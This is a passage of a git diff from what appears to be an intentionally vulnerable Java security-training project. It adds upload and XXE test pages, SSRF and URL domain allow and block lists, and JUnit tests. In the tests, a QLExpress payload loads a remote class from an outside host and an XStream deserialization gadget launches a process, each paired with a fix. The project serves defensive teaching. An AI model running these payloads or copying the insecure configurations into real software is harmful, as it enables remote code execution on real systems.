+            data: { "username": username, "password": password, "remember-me": remember_me},
+            dataType: "json",
+            success: function (r) {
+                if (r.code == "0") {
+                    // alert(r.message);
+                    if (r.redirectUrl == '') {
+                        location.href = ctx + "index";
+                    } else {
+                        location.href = r.redirectUrl;
+                    }
+                } else {
+                    alert(r.message);
+                }
+            }
+        });
+    }
+</script>
+</html>
\ No newline at end of file
diff --git a/src/main/resources/templates/upload.html b/src/main/resources/templates/upload.html
index 309faa9c..03ecf15f 100755
--- a/src/main/resources/templates/upload.html
+++ b/src/main/resources/templates/upload.html
@@ -4,7 +4,7 @@
 
 <h3>file upload</h3>
 
-<form method="POST" action="/file/upload" enctype="multipart/form-data">
+<form method="POST" th:action="upload" enctype="multipart/form-data">
     <input type="file" name="file" /><br/><br/>
     <input type="submit" value="Submit" />
 </form>
diff --git a/src/main/resources/templates/uploadPic.html b/src/main/resources/templates/uploadPic.html
new file mode 100644
index 00000000..66a6f64d
--- /dev/null
+++ b/src/main/resources/templates/uploadPic.html
@@ -0,0 +1,13 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<body>
+
+<h3>file upload only picture</h3>
+
+<form method="POST" th:action="@{upload/picture}" enctype="multipart/form-data">
+    <input type="file" name="file" /><br/><br/>
+    <input type="submit" value="Submit" />
+</form>
+
+</body>
+</html>
diff --git a/src/main/resources/templates/uploadStatus.html b/src/main/resources/templates/uploadStatus.html
old mode 100755
new mode 100644
diff --git a/src/main/resources/templates/xxe_upload.html b/src/main/resources/templates/xxe_upload.html
new file mode 100644
index 00000000..d58426f0
--- /dev/null
+++ b/src/main/resources/templates/xxe_upload.html
@@ -0,0 +1,14 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<body>
+
+<h3>xlsx xxe test page</h3>
+
+<form method="POST" action="readxlsx" enctype="multipart/form-data">
+    <input type="file" name="file" /><br/><br/>
+    <input type="hidden" th:name="${_csrf.parameterName}" th:value="${_csrf.token}" />
+    <input type="submit" value="Submit" />
+</form>
+
+</body>
+</html>
diff --git a/src/main/resources/url/ssrf_safe_domain.xml b/src/main/resources/url/ssrf_safe_domain.xml
new file mode 100644
index 00000000..eb5e4c44
--- /dev/null
+++ b/src/main/resources/url/ssrf_safe_domain.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<ssrfsafeconfig>
+
+    <!-- 域名支持一级或者多级,如果在白名单。SecurityUtil.checkSSRFByWhitehosts()方法的域名配置 -->
+    <safedomains>
+        <domain>img.alicdn.com</domain>
+    </safedomains>
+
+    <blockips>
+        <ip>10.0.0.0/8</ip>
+        <ip>172.16.0.0/12</ip>
+        <ip>192.168.0.0/16</ip>
+        <ip>127.0.0.0/8</ip>
+        <ip>0.0.0.0/32</ip>
+    </blockips>
+
+    <blockdomains>
+        <domain>joychou-inc.com</domain>
+    </blockdomains>
+
+</ssrfsafeconfig>
diff --git a/src/main/resources/url/url_safe_domain.xml b/src/main/resources/url/url_safe_domain.xml
new file mode 100644
index 00000000..ee81efcf
--- /dev/null
+++ b/src/main/resources/url/url_safe_domain.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<domains>
+    <safedomains>
+        <!-- 支持一级域名或多级域名 -->
+        <domain>joychou.com</domain>
+        <domain>joychou.org</domain>
+        <domain>test.joychou.org</domain>
+        <domain>localhost</domain>
+    </safedomains>
+
+    <!-- 支持一级域名或多级域名 -->
+    <blockdomains>
+        <domain>baidu.com</domain>
+        <domain>evil.joychou.org</domain>
+    </blockdomains>
+
+</domains>
diff --git a/src/main/test/org/test/QLExpressTest.java b/src/main/test/org/test/QLExpressTest.java
new file mode 100644
index 00000000..a2071d58
--- /dev/null
+++ b/src/main/test/org/test/QLExpressTest.java
@@ -0,0 +1,103 @@
+package org.test;
+
+import com.ql.util.express.DefaultContext;
+import com.ql.util.express.ExpressRunner;
+import com.ql.util.express.IExpressContext;
+import com.ql.util.express.config.QLExpressRunStrategy;
+import org.junit.Test;
+
+/**
+ * <a href="https://github.com/alibaba/QLExpress">QLExpress</a> security test cases.
+ */
+public class QLExpressTest {
+
+    private static final String poc = "url = 'http://sb.dog:8888/'; classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);classLoader.loadClass('Hello').newInstance();";
+
+    /**
+     * basic usage
+     */
+    @Test
+    public void basicUsage() throws Exception{
+        ExpressRunner runner = new ExpressRunner();
+        IExpressContext<String, Object> context = new DefaultContext<>();
+        context.put("a", 1);
+        context.put("b", 2);
+        Object r = runner.execute("a+b", context, null, true, false);
+        System.out.println(r);  // print 3
+    }
+
+    /**
+     * Test case of /qlexpress/vuln1. Use URLClassLoader to load evil class.
+     */
+    @Test
+    public void vuln1() throws Exception {
+        System.out.println(poc);
+        ExpressRunner runner = new ExpressRunner();
+        IExpressContext<String, Object> context = new DefaultContext<>();
+        Object r = runner.execute(poc, context, null, true, false);
+        System.out.println(r);
+    }
+
+    /**
+     * fix method by using class and method whitelist.
+     */
+    @Test
+    public void sec01() throws Exception {
+        System.out.println(poc);
+        ExpressRunner runner = new ExpressRunner();
+        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
+        QLExpressRunStrategy.addSecureMethod(String.class, "length");
+        IExpressContext<String, Object> context = new DefaultContext<>();
+        Object r1 = runner.execute("'abc'.length()", context, null, true, false);
+        System.out.println(r1);
+        Object r2 = runner.execute(poc, context, null, true, false);
+        System.out.println(r2);
+    }
+
+    /**
+     * <p>Fix method by using class and method blacklist. It may exist bypass. </p>
+     *
+     * <p>Default blacklist:
+     *  <ul>
+     *     <li>System.class.getName() + ".exit"</li>
+     *     <li>ProcessBuilder.class.getName() + ".start"</li>
+     *     <li>Method.class.getName() + ".invoke"</li>
+     *     <li>Class.class.getName() + ".forName"</li>
+     *     <li>ClassLoader.class.getName() + ".loadClass"</li>
+     *     <li>ClassLoader.class.getName() + ".findClass"</li>
+     *     <li>ClassLoader.class.getName() + ".defineClass"</li>
+     *     <li>ClassLoader.class.getName() + ".getSystemClassLoader"</li>
+     *     <li>javax.naming.InitialContext.lookup</li>
+     *     <li>com.sun.rowset.JdbcRowSetImpl.setDataSourceName</li>
+     *     <li>com.sun.rowset.JdbcRowSetImpl.setAutoCommit</li>
+     *     <li>QLExpressRunStrategy.class.getName() + ".setForbidInvokeSecurityRiskMethods"</li>
+     *     <li>jdk.jshell.JShell.create</li>
+     *     <li>javax.script.ScriptEngineManager.getEngineByName</li>
+     *     <li>org.springframework.jndi.JndiLocatorDelegate.lookup</li>
+     *  </ul>
+     * </p>
+     */
+    @Test
+    public void sec02() throws Exception {
+        System.out.println(poc);
+        ExpressRunner runner = new ExpressRunner();
+        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
+        IExpressContext<String, Object> context = new DefaultContext<>();
+        Object r = runner.execute(poc, context, null, true, false);
+        System.out.println(r);
+    }
+
+
+    /**
+     * <p>Fix method by using sandbox. </p>
+     */
+    @Test
+    public void sec03() throws Exception {
+        System.out.println(poc);
+        ExpressRunner runner = new ExpressRunner();
+        QLExpressRunStrategy.setSandBoxMode(true);
+        IExpressContext<String, Object> context = new DefaultContext<>();
+        Object r = runner.execute(poc, context, null, true, false);
+        System.out.println(r);
+    }
+}
diff --git a/src/main/test/org/test/XStreamTest.java b/src/main/test/org/test/XStreamTest.java
new file mode 100644
index 00000000..a5375ebf
--- /dev/null
+++ b/src/main/test/org/test/XStreamTest.java
@@ -0,0 +1,70 @@
+package org.test;
+
+import com.thoughtworks.xstream.XStream;
+import com.thoughtworks.xstream.io.xml.DomDriver;
+import com.thoughtworks.xstream.security.AnyTypePermission;
+import org.joychou.dao.User;
+import org.junit.Test;
+
+public class XStreamTest {
+
+    private static final String poc_xml = "<sorted-set>\n" +
+            "    <string>foo</string>\n" +
+            "    <dynamic-proxy>\n" +
+            "        <interface>java.lang.Comparable</interface>\n" +
+            "        <handler class=\"java.beans.EventHandler\">\n" +
+            "            <target class=\"java.lang.ProcessBuilder\">\n" +
+            "                <command>\n" +
+            "                    <string>Open</string>\n" +
+            "                    <string>-a</string>\n" +
+            "                    <string>Calculator</string>\n" +
+            "                </command>\n" +
+            "            </target>\n" +
+            "            <action>start</action>\n" +
+            "        </handler>\n" +
+            "    </dynamic-proxy>\n" +
+            "</sorted-set>";
+
+
+    /**
+     * XStream basic usage.
+     */
+    @Test
+    public void basicUsage() {
+        User user = new User();
+        user.setId(0);
+        user.setUsername("admin");
+
+        XStream xstream = new XStream(new DomDriver());
+        String xml = xstream.toXML(user); // Serialize
+        System.out.println(xml);
+
+        // High version xstream needs set allowTypes
+        xstream.allowTypes(new Class[]{User.class});
+        user = (User) xstream.fromXML(xml); // Deserialize
+        System.out.println(user.getId() + ": " + user.getUsername());
+    }
+
+    /**
+     * Command execute
+     */
+    @Test
+    public void vuln01() {
+        System.out.println(poc_xml);
+        XStream xstream = new XStream();
+        xstream.addPermission(AnyTypePermission.ANY); // Insecure configuration
+        xstream.fromXML(poc_xml); // Deserialize
+    }
+
+
+    /**
+     * Security code. XStream version: 1.4.20
+     */
+    @Test
+    public void sec01() {
+        System.out.println(poc_xml);
+        XStream xstream = new XStream();
+        xstream.fromXML(poc_xml); // Deserialize
+    }
+
+}